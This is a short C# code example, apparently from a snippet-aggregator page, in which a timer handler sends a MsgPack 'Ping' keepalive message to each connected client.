Ejemplo n.º 1
0
 private async void ping_Tick(object sender, EventArgs e)
 {
     if (Settings.Online.Count > 0)
     {
         MsgPack msgpack = new MsgPack();
         msgpack.ForcePathObject("Packet").AsString  = "Ping";
         msgpack.ForcePathObject("Message").AsString = "This is a ping!";
         foreach (Clients CL in Settings.Online.ToList())
         {
             await Task.Run(() =>
             {
                 CL.BeginSend(msgpack.Encode2Bytes());
             });
         }
     }
 }